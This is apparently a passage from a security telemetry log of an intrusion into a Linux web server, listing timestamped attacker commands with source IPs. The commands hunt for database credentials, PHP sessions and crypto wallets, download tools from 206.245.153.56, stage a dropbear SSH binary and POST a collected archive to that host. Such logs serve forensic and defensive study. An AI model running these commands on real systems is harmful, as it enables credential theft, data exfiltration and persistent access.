for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r ; sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r ; sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r ; sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do
[ -r |
| 2026-10-31 01:15:25 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200
for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log |
| 2026-10-31 01:15:45 | Not attributed | Not attributed | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -2000 -printf %m %u %g %p\n |
| 2026-10-31 01:15:52 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | rm -rf /var/tmp/.p |
| 2026-10-31 01:16:11 | Not attributed | Not attributed | sh -> sh | find /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions /var/www/html/var/cache -maxdepth 3 -type f ( -name sess_* -o -name *.session -o -name tokencache.* ) -printf %s\t%p\n |
| 2026-10-31 01:16:11 | Not attributed | Not attributed | sh -> sh | find /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions -maxdepth 2 -type f -name sess_* -size -64k -print |
| 2026-10-31 01:16:14 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | mkdir -p /var/tmp/.p |
| 2026-10-31 01:16:14 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | curl -sS -o dbt.tgz http://206.245.153.56:8088/tools/j490/j490_dbt.tgz |
| 2026-10-31 01:16:14 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -l dbt.tgz |
| 2026-10-31 01:16:37 | Not attributed | Not attributed | sh -> sh | ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron |
| 2026-10-31 01:16:37 | Not attributed | Not attributed | sh -> sh | find /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -size -256k -print |
| 2026-10-31 01:16:37 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for |
| 2026-10-31 01:16:37 | Not attributed | Not attributed | sh -> sh | find /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -printf %s\t%TY-%Tm-%Td\t%p\n |
| 2026-10-31 01:16:37 | Not attributed | Not attributed | sh -> sh | cat /etc/crontab |
| 2026-10-31 01:16:37 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c ; sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c ; sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c ; sh -c
echo "== crontab"; crontab -l 2>/dev/null
echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null
echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null
echo "== cron files"; for f in /etc/c |
| 2026-10-31 01:16:42 | Not attributed | Not attributed | sh -> sh | find /var/lib /var/www /srv /opt /home -xdev -type f ( -name *.sqlite -o -name *.sqlite3 -o -name *.db -o -name *.sql -o -name *.dump -o -name dump.rdb -o -name *.bson ) -size -50M -printf %s\t%p\n |
| 2026-10-31 01:16:42 | Not attributed | Not attributed | sh -> sh | grep -RInE -I -m 3 mysql://|postgres|DATABASE_URL|DB_HOST|DB_DATABASE|DB_USERNAME|DB_PASSWORD|redis://|mongodb:// /var/www /srv /opt /home /etc |
| 2026-10-31 01:16:42 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" |
| 2026-10-31 01:16:42 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done
echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -na |
| 2026-10-31 01:16:42 | Not attributed | Not attributed | sh -> sh | ls -la /etc/supervisor /etc/supervisor/conf.d |
| 2026-10-31 01:16:47 | Not attributed | Not attributed | sh -> sh | find /root /home /var/www /srv /opt /tmp -xdev -type f ( -name wallet.dat -o -name *.wallet -o -name UTC--* -o -name *.kdbx -o -iname *keystore* -o -iname *mnemonic* -o -iname *seed*.txt -o -name *.key ) -printf %s\t%p\n |
| 2026-10-31 01:16:47 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea |
| 2026-10-31 01:16:47 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sor |
| 2026-10-31 01:16:47 | Not attributed | Not attributed | sh -> sh | ls -la /var/lib/mysql /var/lib/postgresql /var/lib/redis /var/lib/mongodb |
| 2026-10-31 01:16:52 | Not attributed | Not attributed | sh -> sh | timeout 120 sh -c php '/tmp/.php-loot.327.php' '/tmp/<REDACTED>-20261031/php' |
| 2026-10-31 01:16:52 | Not attributed | Not attributed | sh -> sh | php /tmp/.php-loot.327.php /tmp/<REDACTED>-20261031/php |
| 2026-10-31 01:16:52 | Not attributed | Not attributed | timeout -> timeout | sh -c php '/tmp/.php-loot.327.php' '/tmp/<REDACTED>-20261031/php' ; sh -c php '/tmp/.php-loot.327.php' '/tmp/<REDACTED>-20261031/php' ; sh -c php '/tmp/.php-loot.327.php' '/tmp/<REDACTED>-20261031/php' ; sh -c php '/tmp/.php-loot.327.php' '/tmp/<REDACTED>-20261031/php' |
| 2026-10-31 01:16:52 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 20 -o /tmp/.php-loot.327.php http://206.245.153.56:8088/tools/php-loot.php |
| 2026-10-31 01:17:02 | Not attributed | Not attributed | sh -> sh | rm -f /tmp/.php-loot.327.php |
| 2026-10-31 01:17:07 | Not attributed | Not attributed | sh -> sh | id -Gn |
| 2026-10-31 01:17:07 | Not attributed | Not attributed | sh -> sh | uname -a |
| 2026-10-31 01:17:07 | Not attributed | Not attributed | sh -> sh | uname -r |
| 2026-10-31 01:17:07 | Not attributed | Not attributed | sh -> sh | uname -m |
| 2026-10-31 01:17:07 | Not attributed | Not attributed | sh -> sh | id -u |
| 2026-10-31 01:17:07 | Not attributed | Not attributed | sh -> sh | id -g |
| 2026-10-31 01:17:07 | Not attributed | Not attributed | sh -> sh | id -un |
| 2026-10-31 01:17:07 | Not attributed | Not attributed | sh -> sh | hostname -I |
| 2026-10-31 01:17:07 | Not attributed | Not attributed | sh -> sh | hostname -I |
| 2026-10-31 01:17:07 | Not attributed | Not attributed | sh -> sh | ps -e |
| 2026-10-31 01:17:11 | Not attributed | Not attributed | sh -> sh | nproc |
| 2026-10-31 01:17:11 | Not attributed | Not attributed | sh -> sh | sed -n s/^VERSION_CODENAME=//p /etc/os-release |
| 2026-10-31 01:17:11 | Not attributed | Not attributed | sh -> sh | awk -F: /model name/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo |
| 2026-10-31 01:17:11 | Not attributed | Not attributed | sh -> sh | sed -n s/^ID=//p /etc/os-release |
| 2026-10-31 01:17:11 | Not attributed | Not attributed | sh -> sh | sed -n s/^VERSION_ID=//p /etc/os-release |
| 2026-10-31 01:17:11 | Not attributed | Not attributed | sh -> sh | sed -n s/^PRETTY_NAME=//p /etc/os-release |
| 2026-10-31 01:17:14 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | curl -sS -o dbt.tgz http://206.245.153.56:8088/tools/j490/j490_dbt.tgz |
| 2026-10-31 01:17:14 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | curl -sSI http://206.245.153.56:8088/tools/j490/j490_dbt.tgz |
| 2026-10-31 01:17:15 | Not attributed | Not attributed | sh -> sh | awk /^SwapFree:/{print $2} /proc/meminfo |
| 2026-10-31 01:17:15 | Not attributed | Not attributed | sh -> sh | awk /^SwapTotal:/{print $2} /proc/meminfo |
| 2026-10-31 01:17:15 | Not attributed | Not attributed | sh -> sh | df -kP / |
| 2026-10-31 01:17:15 | Not attributed | Not attributed | sh -> sh | df -kP / |
| 2026-10-31 01:17:15 | Not attributed | Not attributed | sh -> sh | awk /^MemAvailable:/{print $2} /proc/meminfo |
| 2026-10-31 01:17:15 | Not attributed | Not attributed | sh -> sh | awk /^MemFree:/{print $2} /proc/meminfo |
| 2026-10-31 01:17:15 | Not attributed | Not attributed | sh -> sh | awk /^MemTotal:/{print $2} /proc/meminfo |
| 2026-10-31 01:17:15 | Not attributed | Not attributed | sh -> sh | awk -F: /cpu MHz/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo |
| 2026-10-31 01:17:15 | Not attributed | Not attributed | sh -> sh | grep -c ^processor /proc/cpuinfo |
| 2026-10-31 01:17:15 | Not attributed | Not attributed | sh -> sh | awk -F: /cache size/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo |
| 2026-10-31 01:17:19 | Not attributed | Not attributed | sh -> sh | ps -e --no-headers |
| 2026-10-31 01:17:19 | Not attributed | Not attributed | sh -> sh | df -P / |
| 2026-10-31 01:17:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -l dbt.tgz |
| 2026-10-31 01:17:24 | Not attributed | Not attributed | sh -> sh | find . -type f -printf %s\t%TY-%Tm-%Td %TH:%TM\t%p\n |
| 2026-10-31 01:17:24 | Not attributed | Not attributed | sh -> sh | find . -type f ! -name manifest.tsv -print0 |
| 2026-10-31 01:17:24 | Not attributed | Not attributed | sh -> sh | find /tmp/<REDACTED>-20261031/git -maxdepth 1 -mindepth 1 -type d |
| 2026-10-31 01:17:35 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -l r/usr/sbin/dropbear |
| 2026-10-31 01:17:35 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | chmod +x r/usr/sbin/dropbear r/usr/bin/dropbearkey r/usr/bin/dbclient r/usr/bin/dropbearconvert |
| 2026-10-31 01:17:35 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -l r/usr/sbin/dropbear |
| 2026-10-31 01:17:46 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 180 -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-20261031.tgz http://206.245.153.56:8088/1422/<REDACTED>-20261031.tgz |
| 2026-10-31 01:17:46 | Not attributed | Not attributed | bash -> bash | passwd -S root |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | sh -> sh | cat /etc/debian_version /etc/alpine-release /etc/redhat-release |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | sh -> sh | getconf LONG_BIT |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | sh -> sh | uname -a |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | timeout -> timeout | sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
|
| 2026-10-31 01:17:51 | Not attributed | Not attributed | sh -> sh | uname -m |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2 |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | sh -> sh | id |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | sh -> sh | uname -r |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | sh -> sh | cat /etc/os-release |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | sh -> sh | whoami |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | sh -> sh | id |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | bash -> bash | sh -c sh /tmp/collect.sh -i 1422 -n t1 >/tmp/c.out 2>&1; echo rc=$?; tail -5 /tmp/c.out ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; tr \0 ; cut -c1-80 ; tr \0 \n ; sort ; tr \0 ; cut -c1-80 ; sort ; tr \0 \n ; tr \0 ; cut -c1-80 ; tr \0 \n ; sort ; tr \0 ; cut -c1-80 ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 ; tr \0 \n ; sort ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; tr \0 ; cut -c1-80 ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 ; tr \0 \n ; sort ; tr \0 ; cut -c1-80 ; sort ; tr \0 \n ; tr \0 ; cut -c1-80 ; tr \0 \n ; sort ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; head -1 |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | bash -> bash | ls -l /tmp/collect.sh |
| 2026-10-31 01:17:51 | Not attributed | Not attributed | bash -> bash | passwd -S www-data |
| 2026-10-31 01:17:57 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou |
| 2026-10-31 01:17:57 | Not attributed | Not attributed | sh -> sh | egrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo |
| 2026-10-31 01:17:57 | Not attributed | Not attributed | sh -> sh | free -h |
| 2026-10-31 01:17:57 | Not attributed | Not attributed | sh -> sh | free -m |
| 2026-10-31 01:17:57 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s |
| 2026-10-31 01:17:57 | Not attributed | Not attributed | sh -> sh | id -un |
| 2026-10-31 01:17:57 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat |
| 2026-10-31 01:17:57 | Not attributed | Not attributed | sh -> sh | lscpu |
| 2026-10-31 01:17:57 | Not attributed | Not attributed | sh -> sh | egrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo |
| 2026-10-31 01:17:57 | Not attributed | Not attributed | sh -> sh | nproc |
| 2026-10-31 01:17:57 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device |
| 2026-10-31 01:17:57 | Not attributed | Not attributed | sh -> sh | getent passwd www-data |
| 2026-10-31 01:18:02 | Not attributed | Not attributed | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n |
| 2026-10-31 01:18:02 | Not attributed | Not attributed | sh -> sh | df -iP |
| 2026-10-31 01:18:02 | Not attributed | Not attributed | sh -> sh | lsblk |
| 2026-10-31 01:18:02 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm |
| 2026-10-31 01:18:02 | Not attributed | Not attributed | sh -> sh | df -hP |
| 2026-10-31 01:18:02 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
